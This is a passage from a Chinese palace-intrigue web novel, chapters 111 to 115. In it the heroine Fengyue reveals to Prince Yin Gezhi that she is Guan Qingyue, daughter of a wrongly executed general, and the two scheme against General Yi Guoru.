易国如是没能睡着的,一直在书房里坐着等消息,哪知道消息没等回来,倒是等回来个人。
“将军!”薛良高兴地道:“使臣府的丫鬟抓到了!”
微微一愣,易国如连忙道:“带进来!”
风月使劲想拖延时间,奈何这薛良软硬不吃,十分迅速地就推着她进了书房。
闻到这恶心的属于易国如的气味,她当即就打了个干呕。
“要见姑娘一面,可真是难得。”易国如起身,走到她面前道:“抬头给我看看。”
风月没吭声,脑子里乱成一团。
易国如显然没什么耐心,见她不想抬,低下身子径直就捏了她的下巴,强迫人抬头。
瞳孔微缩,风月闭上眼,死死地将脸皱成一团。
与此同时,殷戈止一脚踹开了门口拦路的薛良,直接闯了进来。
易国如眯眼看着手里的脸,又被开门的声音一惊,连忙侧头看过去。
“将军。”殷戈止的脸色很难看,眼里的神色瞧得让他微微心惊:“在下说过,将军想找蔽府的丫鬟,可以从在下这儿找,不必亲自动手。”
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第111章 你知道她是谁吗
风月一听,立马跟老鼠似的,挣脱开易国如的手,飞快起身,蹿到了他身后。脸埋在他背上,动也不敢动。
殷戈止眯眼,目光更加不善。
易国如皱了皱眉,缓缓起身,拍了拍手道:“殿下何必这么紧张,一个丫鬟罢了。”
“既然是一个丫鬟罢了,将军又何必这么执着?”殷戈止冷淡地道:“看来将军先前对在下说的话是不算数的,既然如此,那在下也不必在贵府多打扰。”
“等等!”易国如抿唇:“殿下,恕老夫多嘴,您对这丫鬟,是否太过看重了?”
身边一向不曾有人的殷戈止,竟然收了个丫鬟,就算是徐怀祖送的,可也未免护过了头。
先前他对殷戈止格外放心,是看在他对珠儿痴心一片的份上,可眼下,这信任怕是有所动摇。
殷戈止沉声道:“在下恼的,不过是将军糊弄在下,未曾与在下说真话。”
“那好。”易国如点头:“老夫为此事向殿下道歉,但老夫不希望殿下被人迷惑,做出不智之举。”
“不劳将军操心。”殷戈止眼皮都不抬:“在下的人,在下自己清楚。”
“那殿下可说得出此女的来历?”易国如问。
微微一顿,殷戈止沉默。
有这片刻的沉默,易国如就找到了机会,他其实刚刚并没有看清风月的五官,因为她皱得太厉害了。但就算不知道她是谁,殷戈止这么在意的女人,也绝对要离间了去。
“殿下,自古英雄难过美人关,请听老夫一言。要留此女没关系,但一定要查清来历,未免她有什么不轨之心!”
殷戈止道:“此事,在下会查。”
“好。”易国如点头:“若是有需要老夫效力的地方,随时让人来知会就是。”
殷戈止点头,转身想走,却感觉到背后的人在轻轻发抖。
心里微紧,他伸手,想把她扯到怀里抱着,却感觉这人身子僵硬,死活不肯到前头来。
“风月?”他低唤:“别怕。”
她不是怕,而是隔得太近了,实在是忍不住浑身发抖,很想一刀朝易国如的心口捅进去!
易国如眼神深沉地瞧着,只觉这女子仿佛有意避着他,当下便道:“姑娘不必担心,有殿下作保,老夫不会对你如何。不过听闻姑娘容貌倾城,不知可否让老夫一观?”
这样的要求虽然略微失礼,但也不算过分。然而风月死死地将头埋在他背心,愣是没动。
“风月?”对面毕竟是易大将军,今日能糊弄过去就糊弄,总不能落了把柄,不然以后他再找她麻烦,那就糟糕了。
念及此,殷戈止伸手拉了拉她的胳膊,示意她抬头。
风月挣扎,抵在他背心低低地哀鸣:“不要。”
“怎么?”殷戈止皱眉:“见不得人?”
“殿下。”风月努力用平静的语气说话,奈何嗓子止不住地颤抖:“奴婢不能见他。”
看了看易国如,殷戈止微微侧身,沉声吐了两个字:“理由。”
“咱们回去再说可以吗?”风月浑身发抖:“回去奴婢什么都告诉您。”
“理由。”
“……”被易国如知道会死,被殷戈止知道也会死,但只被殷戈止知道的话,她还有一丝活路。
四周气氛紧绷,风月的脑子反而转得飞快,片刻之间就定了主意,指节捏得发白,踮脚到他耳后,用极轻极轻的声音道:
“奴婢姓关,原名清越。”
身子猛地一震,殷戈止眼瞳放大,几乎是立刻就转身,将她抓在了手里。
飞快地埋头到他胸口,风月身子抖得更加厉害,感觉天地都毁了,滔天的洪水拍面而来,险些让她不能呼吸!
殷戈止发了怒,这才是真正的怒火滔天,先前的那些个恼怒都只能算是细雨绵绵!分明是靠在他怀里,却从脸颊一路冻到心口。肩膀陡然被他掐紧,力道之大,让她觉得几乎是脱臼了。
她很想再说点什么,然而舌头像是都被冻僵了一样,压根活动不了,只能轻轻扯着他衣袖,示意他快走。
就算要她死,也得出去再死,要是在易国如面前暴露出来,那才是什么都完了!
“将军。”眼里卷起了**,殷戈止声音沙哑,眼睛盯着面前的人,却是对易国如一字一句地道:“在下还有事,先走一步,若有失礼之处,还请海涵。”
说完,一把掐住风月的腰,卷着她就冲了出去!
门扇大开,风从外头灌进来,好一阵凉爽。易国如怔愣地站在屋子里,压根不知道发生了什么事,等反应过来,面前已经没人了。
在吐出这个秘密之前,风月一直心存侥幸,她觉得殷戈止最近对自己这么好,一定会心软,会肯听自己说话,至少不会一上来就想杀了自己。
然而,事实给了她一记耳
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光,清脆地一声响。
殷戈止掐着她,出了东院,绕到假山后头,直接一把将她抵在山石上。背后冷硬的疼痛让她清楚的意识到——还想什么柔情攻势啊?就算先前他对她情深似海,但关清越三个字一出来,以前的一切就都不算数了,她还是得死,死在自己的自负和愚蠢上头。
阴沉的气息从前头压过来,殷戈止这一张脸仿佛来自无间地狱,眼神里满是刺骨的寒针,如雨一般扎进她眼里:“关清越?”
沙哑的三个字,在夜色里听来像狠戾的诅咒。
他怀疑她很久了,也查了很久了。她骗了自己,因为他虽然经常从北宣门去校场,可身边从来只带一个观止,没有八人的仪仗,也没有六人的仪仗,她猜错了。她不是普通的百姓,甚至言语间有些从军之人的味道。她目的不单纯,从一开始就满口谎言。
他想过,她也许是谁派来的间谍,躲在他身边打听消息,亦或是有什么想杀的人,要借着他的手杀了。
但没想到,她想杀的人,很有可能是自己。
关清越,魏国大将军关苍海的嫡女关清越,赫赫有名的女将军关清越!她分明就是吃过不畏蛇毒的丹药,却还咬着牙吃了枸杞!分明应该是一身傲骨武功卓越的人,却扮成这低贱下作软弱无害的模样,就是为了接近他!这么多个躺在他身边的晚上,她都在想什么?!是不是在看自己什么时候最没有防备,好一刀捅进他心窝?
他心上长的这岂止是毒草,简直是毒蛇!
眼里血红,殷戈止闷哼一声,手握成拳,狠狠往自己心口捶了下去。
骨肉心脏空响,听得风月一窒。
“殷大殿下。”她勉强笑了笑:“您可还愿意听我一言?”
抬眼看她,殷戈止眼神冰冷,像是重新冻上来的冰面,瞬间就冰封了千里。
看他没吭声,风月深吸一口气,道:“您来吴国,目的无非是给魏国争得生机,我可以帮您。”
“但,您若不要我帮,还是那句话,一旦我死在您这里,您的计划和目的,会以最快的速度,出现在叶大太子的书桌上,以及易大将军的面前。”
“我活不下去,您也别想再成事。那魏国的山河**,就让它慢慢走向自己该有的衰败命运。”
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第112章 没有爱恨
方才还狂怒滔天,在听见这些话的时候,仿若一盆冷水浇下来,凉得透心。冷热相遇,身子便僵硬成铁,再难动弹。
“你……”眼里有痛色,也有恨意,殷戈止伸手,慢慢抚上她的咽喉,喉头上下动着,好半天才吐出一句完整的话:“你连后路都给自己留好了?”
勉强笑了笑,风月耸肩,任由他掐着自己,低声道:“在您这里若是不留后路,那就等于自寻死路,不是吗?”
本也没打算这么快让殷戈止发现自己的身份,毕竟她当真还有很多事情要做,在瞒着他的情况下,可能做得更顺利。
但是今儿这情况实在是在意料之外,那种场面,她多拖一瞬,就多一分死的可能。而殷戈止一早开始怀疑她,别的借口,他怕是一点也不会信,也不会带她马上离开。
那她想,不如赌一把吧,赌他对自己到底有多少感情,赌他会当场拆穿她,还是带她走。
幸好这一赌她赢了,殷戈止理智仍在,她逃出来了,没落在易国如的手里。
但是,她也没赢太多,这几个月来的朝夕相处,并没有在殷戈止心里留下太多东西,他现在的眼神,看起来很想杀了她。
所以留后路,当真是很有必要的,就算是爱得死去活来,也保不齐哪天兵戎相见。
叹了口气,她抬了抬嘴角:“殿下,换个地方说话吧。”
面前的人没回答她,风月一顿,抬眼看他。
依旧是一张冰冷的脸,甚至比以往任何时候都要冰冷,但殷戈止的嘴唇很白,白得像是病了,看得她一惊,下意识地就伸手想搭上他的额头。
“啪!”清脆的一声响,他抬手打开了她的手,眼里浓烈的厌恶之意比以往任何一次都清晰:“真脏!”
呼吸微微一顿,风月咧嘴一笑,拎起裙子朝他行礼:“奴婢逾越了。”
“既然已经说清楚了,那还何必装成这样子?”他睨着她,说话似乎有些困难,可吐出来的字都跟刀子一样伤人:“关清越,你堂堂关家女将军,脱了战袍穿上纱衣青楼**,当真不觉得侮辱那些在战争里死去的将士吗?”
伸手捏着她的手腕,殷戈止眯眼:“好本事,一身钢筋铁骨,是吃了什么,才弄得一点内力也无的?”
风月歪头,看他这气急伤人的模样,失笑道:“奴婢看不懂殿下在气什么。”
抬起手腕,她一点点将袖子挽起来,露出她时常捆着的那红色的绸带,找着结口,一点点地拆开。
不知道她此举何意,但被她的话是气得不轻。这骗子,这本该死在斩首台上的人,在骗取他的信任之后,竟然俏生生地说,看不懂他气什么!
张口就想嘲她两句,却被落下来的红绸花了眼。
他记得这绸缎,第一次在梦回楼的时候,她手上就系着。后来手骨碎了,哪怕包扎的时候,这红绸也没取下来。他替她换药的时候,还被她狠狠瞪了。
现在取是做什……
还没想完,一道狰狞的疤痕就落进了他眼里。
心里一沉,殷戈止看着那疤痕的位置,有些不敢置信。
横贯手腕的十字疤,像是被人先横着一刀切开皮肉找到手筋,然后顺着手筋的方向一刀,剖开旁边的皮肉,最后将一截手筋完整地切下,即便是遇见再世华佗,手筋也再难接回去。
这叫“取武”,是用在有叛心的习武之人身上的刑法,背叛大魏皇室,一身武功都不得留。
有那么一瞬间殷戈止觉得她可能是在开玩笑,所以伸手过去,将她的手腕捏到面前,仔细地看了看。
然而,那疤痕真实得可怕,靠近些他仿佛能闻到来自魏国大牢里的阴冷血腥。
刚刚捶在自己心口的那一下,在这个时候终于有了反应,心口猛地紧缩,疼得他嘴唇更白。
“你……”
“所以,殿下在气什么呢?”面前的人依旧在笑,只是笑意不达眼底。一双狐眸睨着他,低声道:“奴婢已经家破人亡,什么也没了,武功是当真没有,不能构成您的威胁。虽说是有所隐瞒,可也是为了性命着想。如今奴婢主动坦诚,也没有要找殿下算这前仇旧恨,您这么着急上火的,倒让奴婢看不明白……是觉得奴婢狡猾,逃出了生天,所以打算再杀奴婢一次吗?”
捏着她的手紧了紧,殷戈止转身,带着她就往将军府外头走。
“殿下?”风月淡笑着提醒他:“这里是将军府。”
就这么出去,出得去吗?
前头的人没理她,背影看起来有些恐怖。走到后门附近有人来拦,殷大皇子二话没说,直接抱起她,从这群人面前越了过去。
“殿下,将军有令殿下!”
充耳不闻,殷戈止走得很快,双手抱着她,掐着她的肩头,也掐着她的膝盖弯儿,生怕她半路逃走似的,一路将她掐回了使臣府。
“干将。”
一踏进府门,他便喊了一声。
干将从暗处出来,不解地看着这场景,然后拱手行礼:“卑职在。”
“你是因为她是关清越,是关苍海的女儿,所以才帮她的?”殷戈止语气很平静,风月却看得见,这人的睫毛在微微发抖。
一听这话,干将“扑通”一声就跪了下去,很是慌张地看向风月。
风月笑着摆手:“暴露啦。”
“卑职该死!”一个响头磕下去,干将埋着头道:“卑职愿意领罚!”
那么忠心的人,他就好奇怎么会背叛自己,原来还有这么一出。他早该想到的,除了自己,干将还受过关苍海的恩!
“主子?”观止在门口看着他,很是茫然:“发生什么事了?”
殷戈止没回话,再看了干将一眼,然后便抱起风月进了屋子,将门用力关上。
风月被扔在了软榻上,就势打一个滚儿,很是天不怕地不怕地躺下去了,殷戈止则是慢慢在软榻边坐下。
“你为什么会来吴国?”他问。
风月笑道:“来**呀!”
话刚落音,就看见面前这人陡然沉下去的脸色。她挑眉,笑嘻嘻地接着道:“您别怕呀,奴婢又没想对您做什么,
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要杀的人都死得差不多了,现在就剩一个易大将军。”
“不想杀我?”他斜眼。
听着这问话风月就笑了,咯咯咯地翻滚了好一会儿,才抬眼看他:“殿下这是心中有愧,所以觉得奴婢会找您寻仇吗?”
就算想杀他,也不是现在,也不会这么说出来啊!当谁傻呢?
殷戈止抿唇,他实在有太多的话想问,看着她这张脸,喉咙堵得厉害,一时倒是问不出什么来了。
风月起身,老老实实地跪坐在他面前,坦诚地道:“既然身份暴露了,您也不能杀了我,那我有话直说了吧。侥幸逃出灭门浩劫,留在魏国有些危险,所以我是打算先来吴国,把该弄死的人弄死,能找到我老爹与易国如串通的证据就找,不能找到的话,那接着回去魏国把该弄死的人弄死。”
“遇见您是个意外,毕竟我一开始就没打算与您过招,您心机深沉,我很怕自己不是对手。不过当真对上了,那退无可退,只能陪您玩儿了。不过从开始到现在,我可一件对您不好的事儿也没做过,甚至还帮着您诓吴国太子,您应该分得清是非吧?”
捏着的拳头一直没松开,殷戈止定定地看着她,看着她脸上无畏的表情,看着她微微有点紧张却故作坦然的眼神,心里一口气堵着,怎么也下不去。
“你关家的罪证,是我传回京城的。”良久之后,他才硬声开口:“你不恨我?”
风月勾唇,眨巴着眼道:“我与殿下之间,只有利益,没有爱恨。”
只有利益,没有爱恨。
殷戈止垂眸,蓦地就笑出了声。
“奴家喜欢殿下呀,想陪殿下一生一世。”
“奴家仰慕殿下已久,心心念念,辗转反侧。”
“因为奴婢喜欢您呀。”
多好听的话啊,从她那娇嫩的红唇里吐出来,当真是要迷了人的心智了,他说着不信不信,怎么却好像还是信了。像个傻子一样嘴上硬着心里软了,任由她在心间放肆,舍不得她伤着碰着。
结果她说,没有爱恨。
堂堂殷大皇子,阅女无数,从未将谁放在心上。本已经挣脱了三年前某个人的束缚,却不想,会在这低贱的妓子手里万劫不复。
当真是万劫不复!
头痛欲裂,殷戈止红着眼喘了两口气,狠狠地闭上眼道:“你如今对我来说,没有利益,只有威胁。”
“能威胁着您活下去也不错呀。”风月笑眯眯地道:“反正,易大将军不会有好下场的,是不是?”
太得意了,殷戈止摇头,冷笑着问:“你怎么知道他一定不会有好下场?”
“因为太子不想放过他,您也不想放过他呀。”风月眯眼:“不过太子殿下肯定不会让他死,而殿下您,手上沾了他的血的话,也会很难交代。”
“这件事,不如就交给奴婢吧,奴婢什么都没有,什么也不怕。”
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第113章 你留在这里
心上的毒草不经他拔,像是自己挣扎着要离开似的,细小的、遍布整个心脏的根须一点点往外抽,最大的根须连着心脉,痛得心口一阵阵抽搐。
殷戈止受过很多次伤,也有几乎挨近心脏的,也有让他差点没命的,他以为自己不怕疼,毕竟已经习惯了。
但是现在,就因为面前这人这一句不痛不痒的话,他现在竟然疼得眼前一片花白,恨不得狠狠捶几下胸口,才能好受点!
抬眼看看面前的人,脸上的表情多从容啊!还带着微笑,仿佛一点也没有被影响,还巴巴地等着他回话。
像傻子一样的人只有他一个。
意识到这点,殷戈止“嗤”了一声,强行压下所有的情绪,沉声问:“你凭什么杀易国如?”
凭什么?风月挑眉,霎时笑得柳腰直摇:“殿下,我都在您眼前站着说要**报仇了,您难不成还觉得关家一点没被冤枉?这么多年来,您做的噩梦不少吧?就没想过让自己解脱吗?”
殷戈止闭眼。
他最不想面对的,就是关家的事情。一面是他亲眼所见,一面是关苍海的铁骨铮铮,再让他做一次判断,他可能也还是只能把他押回京城待审。
这是他唯一能做的决定。
问题出在审判的过程,他分身乏术,实在不知道发生了什么,可在她眼里,他大概算是灭了她满门的帮凶,十恶不赦,罪该万死。
真是辛苦她了,忍着这么大的仇恨在他面前曲意逢迎。
心口里的东西跳得剧烈疼得也更加厉害,深吸一口气,他低声道:“我在等一个机会,机会到了,你便可以动手杀了易国如。只是??6??8??6??8”
转头看向别处,他道:“杀他容易,找他污蔑你爹的证据,很难。”
“我知道。”笑着点头,风月眼里带讽:“一开始我就没打算洗清你们泼在关家门楣上的脏水,也没耐心去洗。谁害的,就找谁报仇便是。”
“你觉得是谁害了你爹?”殷戈止冷笑:“定案的证据是我给的。”
风月点头:“我知道,平昌山鬼谷一战,殿下眼睁睁看着五万魏国将士被屠戮殆尽,杀气太重。从地狱里回来,责问我那不会说话的老爹,问不清楚,一怒之下自然就将他送回京城受审。这些我都能理解。”
“但是,回京之后,魏国廷尉不知是受谁的意思,草率定案,逼死我爹于狱中,谗言于帝,令帝怒下旨屠我关家满门!证据是您给的,但有谁去认真看过那些证据吗?有谁去查吗?有谁在朝堂上质问过一句,关家何以叛国吗?!”
“没有呀,他们早就看我关家不顺眼,功高震主,令陛下也多有不安。恰好大皇子会打仗,能顶替关将军的位置,那把关将军拉回来砍了,大家都能睡个好觉,何乐而不为呢?哈哈哈!”
笑得眼泪都冒出来了,风月睨着面前的人,一字一句地道:“宠佞臣、容小人、害忠骨、灭英魂,大魏皇室做得好呀!定然能千秋万代,世世昌盛。而我能做的,不过就是报杀父灭门之仇,其余的,与我何干?”
她是理智的,就算分明连他一起恨了,也巧妙地替他开脱了罪责,表示自己不会找他报仇,好让他放下戒心。
然而当真说起旧事,她还是没忍住,红了眼眶。
面前的人终于抬眼看她,眼里的神色复杂得看不清楚。他总是这样,就算泰山塌在他面前了,脸上也是什么表情都没有。仿佛这世间,压根没有值得他动容的东西。
当真是冷漠无情的殷大殿下。
然而殷戈止看着她,却是在想,她原来当真是关家的人。这说话的样子,真像当初关家的二少爷,那背脊挺得很直的少年,也曾双手戴着镣铐,似嘲似讽地道:“愿陛下江山永存,再无忠臣!”
关家这一辈的人,分明都很会说话,可关苍海为什么说不清楚啊?在他怒极之时,还说什么“以何通敌,何以通敌”,就不能像这个关清越一样,牙尖嘴利地说服他吗?
使劲闭了闭眼,他有些疲惫地道:“明日再说吧。”
看了看外头的天色,风月抿唇,抹了把脸点头:“好。”
说完转身就打算走。
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大概是她转身的动作太果断了,走得头也不回,殷戈止下意识地就伸手拉住了她的手腕。
微微一惊,风月停了步子,诧异地回头看向他。
都这样了,还……会伸手拉她?
殷戈止皱着眉,大概也对自己的动作不是很理解,不过她一有要挣脱的动作,他还是伸手将人抓紧:“就在这儿睡。”
啥?风月眨眼,忍不住伸手挖了挖耳朵:“您刚刚说什么,我没听清楚。”
抓着人就往床边走,殷戈止的背影紧绷,声音冷硬:“你身份特殊,为了避免你耍什么花样,从今日起,就在我眼皮子底下,我去哪儿你就去哪儿。”
风月:“??6??8??6??8”
这算什么?贴身监视?
瞧着这人身上已经没了杀意,话也已经都说开了,风月顿时胆子肥了,不怕死地问了一句:“这么带着我,您不怕时时刻刻都想起关苍海?”
捏着她的手一僵,接着殷戈止整个人就暴躁了起来,咬着牙道:“好歹是你亲爹!你也能这样直呼其名?”
“关苍海没有坟墓呀,碑文都没有,我要是不经常喊他的名字,他在下头一定都会忘记自己叫什么。”风月耸肩,笑得很恶劣:“这是我尽孝的方式,殿下也不允许?”
从刚才的对话里就能看出来,殷戈止还有良心,也没有绝对肯定关苍海通敌叛国,只是证据在前,他也不觉得关苍海一定是被冤枉的。
那她就加深一下他的罪恶感好了,人常说枕边风很有用,那她要努力吹一吹。
没回答她的话,殷戈止甩手就将她扔上床,然后自己也上去,脱了外裳放好,将她死死压在自己怀里。
有那么一瞬间,风月察觉到这人身子在微微发抖,可仔细一感受,背后分明是冷硬如铁,一切都像是幻觉。
也只可能是幻觉,堂堂殷大皇子,能把什么看在眼里啊?
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第114章 希望你理解
积压了三年的秘密终于在人前说了出来,风月难得地睡了一个好觉,梦里不再有征战杀伐,也没有鲜血遍地,只有一丛丛的迎春花,开在大军凯旋的路上。
关苍海骑马走在最前头,关清穆身上的铠甲粼粼发光,不正经的副将许天则摇头晃脑地策马在旁边唱:“昔我往矣呀,雨雪霏霏。今我来思呀,杨柳依依。一朝赢敌呀,不饥不渴。我心开怀呀,皆知我喜。啷哩个啷呀……”
难听的调子听得风月失笑,她骑马走在最后,看着他们慢悠悠地往前去,前头一轮朝阳,升得正好。
殷戈止没有入睡,本来还能闭上眼,后来眼也闭不上了,就微微起身,靠在床头看着旁边这人。
她睡得很好,嘴角都带着笑,一定是做了美梦了。
黑暗里的眼睛泛着光,殷戈止伸手,像是想碰一碰她的嘴角,然而手伸到一半就僵住了,想起些什么,缓缓地收了回来。
脑海里浮现出很久以前的梦回楼,金妈妈说要她演将军,他低斥她哪里配穿铠甲。这人一点委屈的神色都没有,仰着脸冲他笑得很自在。
那套红白的铠甲,穿在她身上的话,应该会很好看吧。只可惜到最后他也不知道她到底穿没穿,演没演。
听见那些话的时候,她心里在想什么呢?
虽然同是魏国从军之人,他却好像没与她见过面,每次都去的是不同的战场,哪怕同时在澧都,好像也没缘分遇见。世人都说,关家女将军,顶天立地,不输男儿,他也知道她武功不俗,颇受人夸奖。那样的女子,应该是意气风发,敢立于男儿之上的豪爽之人。到底是经历过什么,变成了现在这副样子?
心口又是一紧,殷戈止坐直了身子,疑惑地按了按自己的胸膛。
这种感觉太奇怪了,先前从未有过的。
“你知道什么是喜欢吗?”易掌珠这样问他。
黑暗里的一张脸上满是愕然,殷戈止握拳,侧头看向旁边睡得很香的风月,脸色铁青。
半晌之后,却是哑然失笑,声音极低地道:“以前不知道,现在知道了。”
知道了,也没什么用了。
天在漆黑之后又变得透亮,风月醒来的时候,殷戈止已经穿戴好坐在屋子里了。
动作够快的啊!
蹑手蹑脚地下床,收拾好自个儿,风月站在他旁边,看了看他无波无澜的表情,便咧嘴笑道:“殿下早啊。”
看她一眼,殷戈止起身往外走:“今日太子要亲审杨风鹏。”
这态度,恍惚间让风月觉得昨儿什么都没发生似的。不由地感叹皇室中人心就是大啊,皇子肚里能撑船啊!
然而,门打开,外头的观止迎上来,却是极为震惊地低呼一声:“主子?”
“去准备马车。”
愕然地看着自家主子的脸色,又看了看后头一脸茫然的风月,观止把话都咽了下去,拱手道:“是,不过方才灵殊在找风月姑娘,姑娘还是随属下去看一眼吧。”
一听到灵殊找她,风月立马点头,看殷戈止没反对,于是跟着观止就走。
绕到后院的马厩,观止才低声开口:“灵殊没找姑娘,她昨儿睡得晚了,现在还在歇息,是属下有话想问姑娘。”
风月挑眉:“怎么?”
“昨日发生什么大事了吗?”回头认真地看着她,观止眼里满是担忧:“主子似乎不想告诉属下,但……分明是休息了一夜,他却好像是心力交瘁。”
茫然地眨眼,风月道:“你哪儿看出来他心力交瘁了的?我瞧着他没什么不对。”
摇摇头,观止道:“你们看不出来,我看得出来,主子好像特别难过……从来没这么难过过。上一回看见这种神色,还是在魏国战败投降的时候。”
心里一顿,风月皱眉。
他难过吗?难过什么?
“昨天没发生什么大事,就是我差点被易将军抓了,你家主子为了救我,强出了将军府,估计跟易大将军有得交代了,所以心里烦吧。”
是这样吗?观止叹息:“姑娘多照顾主子些吧,最近他都只爱带你在身侧,有什么事又不肯跟我说……”
听着这委屈的语气,风月逗他:“你也不怕我照顾他多了,你失了宠?”
观止一愣,当真很纠结地低头想了想,然后一脸正气地道:“主子能开心些就好。”
风月失笑,心想他到底算是幸运,身边还有这么忠心的人陪着。
驾了马车从后门绕出去到正门口,她坐在车辕上,远远地就看见殷戈止穿着一身白衣靠在门口的柱子旁。
仍旧是她缝的那件,风吹过去衣袂飘飘,很有仙气。然而他脸色可真难看呐,嘴唇惨白惨白的,无怪观止说他看起来心力交瘁。
“殿下——”远远地嚎了一嗓子,成功地将那人从冥思里惊醒,风月挥舞着双臂笑盈盈地喊:“快上车!”
殷戈止失神片刻,又皱眉,刚动身往台阶下头走,就见车轮从一块儿石头上碾过去,车身剧烈一抖,坐在车辕上挥舞双手的傻子跟着一斜。
风月傻眼了,她反应很快,知道自己要坠车,但动作跟不上,就算反手拽着了车辕边儿,身子还是不可避免地往地上栽去!
瞳孔紧缩,她甚至看清了地面上随着车轮飞驰的灰尘,感觉自己的脑袋掉下去,说不定也能飞得这么精彩绝伦脑浆四溅的。
然而,就在她额头触地的一瞬间,有人一把将她扯下了车,死死地掐在怀里按着,不安的失重感没了,接着就是一股子滚烫的温度从四面八方朝她扑来。
风月一愣,睁眼看了看。
殷戈止的墨发被风带得飞舞,发质看起来很好,又长又黑。大概是因为刚救了她的关系,这时候他的头发丝儿在她眼里都是个盖世英雄。
“多谢殿下。”风月笑道:“不过您身上怎么这么烫啊?”
没理会她,殷戈止板着脸将她推开,看了看停在前头的马车,抬步就走。
“等等。”觉得有点不对劲,风月连忙追上去拉住他。
手心也是滚烫!发高热了吧?
倒吸一口凉气,她立马扯着嗓子喊
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:“观止!你家主子生病啦!”
正要将她的手甩开,却被她这一嗓子嚎得脑仁疼,殷戈止皱眉,黑着脸瞪她一眼:“你叫什么叫?”
耸耸肩,风月道:“您会嫌奴婢多管闲事啊,所以还是叫观止来管,您最容易听。”
说着,观止就已经冲过来了,二话不说就伸手试了试殷戈止的额头,然后惊叫一声:“这也太烫了!别出门了,属下去请大夫!”
“今日说好了要去……”
“还去什么去啊,您看看您这脸色!”观止急了,直接将他的胳膊架起来,然后朝风月喊:“姑娘帮忙!”
风月立马过来,两人一左一右地将殷戈止抬进屋子里。
“属下去请大夫,姑娘先照看一二。”
“好。”
观止风风火火地走了,屋子里瞬间安静下来。
殷戈止觉得,自己不至于就生病了,毕竟脑子还很清醒,还能想事情。但是,看了一眼风月递过来的镜子,他皱眉:“你拿我的印鉴去听审,杨风鹏说了什么,都回来告诉我。”
风月叹息:“殿下,都到这个份上了,杨风鹏不可能还负隅顽抗,肯定是要供出易大将军的。”
“就是因为他要供出来,我才要听他供出什么。”伸手将手上的玉扳指摘下来放在她手心,殷戈止道:“别耍花样,带上干将,早去早回。”
“那……”
她想问,那您呢?可是转念一想,她在意他死活干啥?人家自己不要她伺候的,她难不成还得跟他亲妈似的担忧不已关心至极?
拉倒吧!捏了扳指,风月转身就出门。
殷戈止是个有良知的人,所以暴露身份看起来也无妨,只要她嘴皮子利索能骗人,又让他愧疚并且相信关家是被冤枉的,那她的路反而更好走一些。
摩挲着手里的玉扳指,风月套在自己的拇指上,发现大了一圈,于是干脆系在腰带上。
杨风鹏已经在黎明破晓的时候见过小少爷和余荷香了,得知他们由太子照顾,苦笑一声,乖乖地戴上镣铐上了公堂。
叶御卿正在等殷戈止,结果没等来他,倒是等来了风月。
“殷殿下病了。”朝他行礼,风月笑眯眯地道:“奴婢替他来听。”
眼里有些震惊,又觉得是情理之中的事情,看着她腰间的玉扳指,叶御卿低笑:“果然是自古英雄难过美人关,风月,你真厉害。”
“殿下过奖。”笑了笑,风月道:“能为殿下效劳,是奴婢的荣幸。”
“得你相助,才是本宫的荣幸。”优雅地颔首,叶御卿道:“你送来的东西本宫都看过了,殷殿下也让本宫小心易贵妃,本宫正在暗地里探查,若是当真,那……”
眼皮微垂,他低了声音道:“不管怎么说,如今吴国还要靠他镇守,就算他罪不可赦,可能也会想着法子赦他。这一点,本宫希望你理解。”
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第115章 问心有愧
理解啊,有啥不理解的?风月微笑,大方地行礼:“能让他尝尝苦头,奴婢已经觉得是万幸,不敢强求其他。”
到底是吴国第一大将军,还真指望吴国太子能把他头给砍下来?不可能的,风月知道,殷戈止也知道,所以易国如到底要**,是个很费脑子的事情。
叶御卿给她提前说这话,也就是防着她撺掇殷戈止把易国如逼上绝路,其实不用她撺掇,殷戈止应该也不会让易国如活。
交战多次,殷戈止最清楚易国如每次都是靠什么取胜的,那样心术不正不光明不磊落的将军,打了胜仗也不会得到对手的尊重。
殷戈止尊重他,并且还跟易掌珠亲近,那必定是有所图,图的还不少。
从一开始就想通这件事,所以风月知道,太子的船,她也只能搭一段路,但殷戈止的船,可以搭到最后。
心里百转千回,面上神色未动,风月在叶御卿的眼里,就是一副心满意足的小女儿姿态,看得他很是放心:“先进去找地方坐着吧。”
“是。”
余荷香将杨风鹏安抚得很好,上公堂之时,杨风鹏也就半点没遮掩,将易国如狠狠告了一状,言明军中物资都是从他手上过的,与麾下掌管军饷的人分赃,来往账本,皆有明细。
口供传进宫去,宫中顿时炸开了锅,皇帝大怒,急召易国如进宫,以他德行有失为由,命他立马上交兵权。
兵权这种保命的东西,易国如会在这个关头交吗?不会,易贵妃马上跪在御书房外头声泪俱下,言明易国如多年来的功勋,为易国如求情。
“皇帝会心软的。”殷戈止脸色苍白地闭着眼,薄唇微启:“幸好我早有准备。”
风月看得摇头,一边给他换帕子敷额,一边道:“您卧病在床都不忘吴国国家大事,实在太令人感动了。”
“总不能功亏一篑。”轻咳两声,殷戈止缓缓睁眼,长长睫毛颤动着,好半天眼里才有了焦距,声音沙哑地道:“你可读懂过易将军与人来往的那些信件?”
信件?风月想了想:“那些情诗的话,没看懂,写的都是些日常饮食。”
“嗯。”轻轻颔首,殷戈止道:“那是皇帝的日常饮食。”
手一顿,风月震惊了:“皇帝的?”
她还以为是易国如和易贵妃之间的情诗呢!
“你仔细看看就知道了。”殷戈止道:“吴国皇帝从今年开春就抱恙,想来与他们有些关系。”
皇帝的饮食是很仔细小心的,后妃宫里备的点心都要经过试吃,只有特别熟悉皇帝的人,经过长时间的经验,可以预料皇帝要吃什么,从而下手。
“您的意思是说,易贵妃与易将军,对圣上图谋不轨?”风月皱眉:“为什么啊?易贵妃膝下只有抱养的皇子,当今又有大势所趋的太子在位,就算能侥幸害了皇帝,可继位的也还有叶御卿。”
“所以我让人提醒太子小心易贵妃。”殷戈止淡淡地道:“防的就是这两人联手谋害,以图吴国江山。”
易国如是个有野心的人,从他打仗就看得出来,为了胜利无所不用其极,蔑视吴国的圣旨也不是一回两回,皇帝信任并忌惮他,太子则是直接与他对立,这样的情况之下,易国如想自己坐皇位,倒也能让人想明白。
不过风月还是很震惊,就算她没什么忠君爱国的想法,可这弑君夺位的疯狂念头,也够让她意外了。忍不住就喃喃道:“还能这样啊,那我看魏国皇位上的老头子不顺眼,是不是也可以不忍着,想个办法弄死他就好了?”
屋子里气息一寒,风月皮子一紧,连忙转头朝床榻拜了三拜:“您就当没听见啊!奴婢瞎说的!”
眼神冷冽,殷戈止睨着她道:“你最好不要有这种想法。”
“没有没有,奴婢说着玩的,怎么能有这种想法呢?关苍海也会从地下爬出来掐我脖子的!”
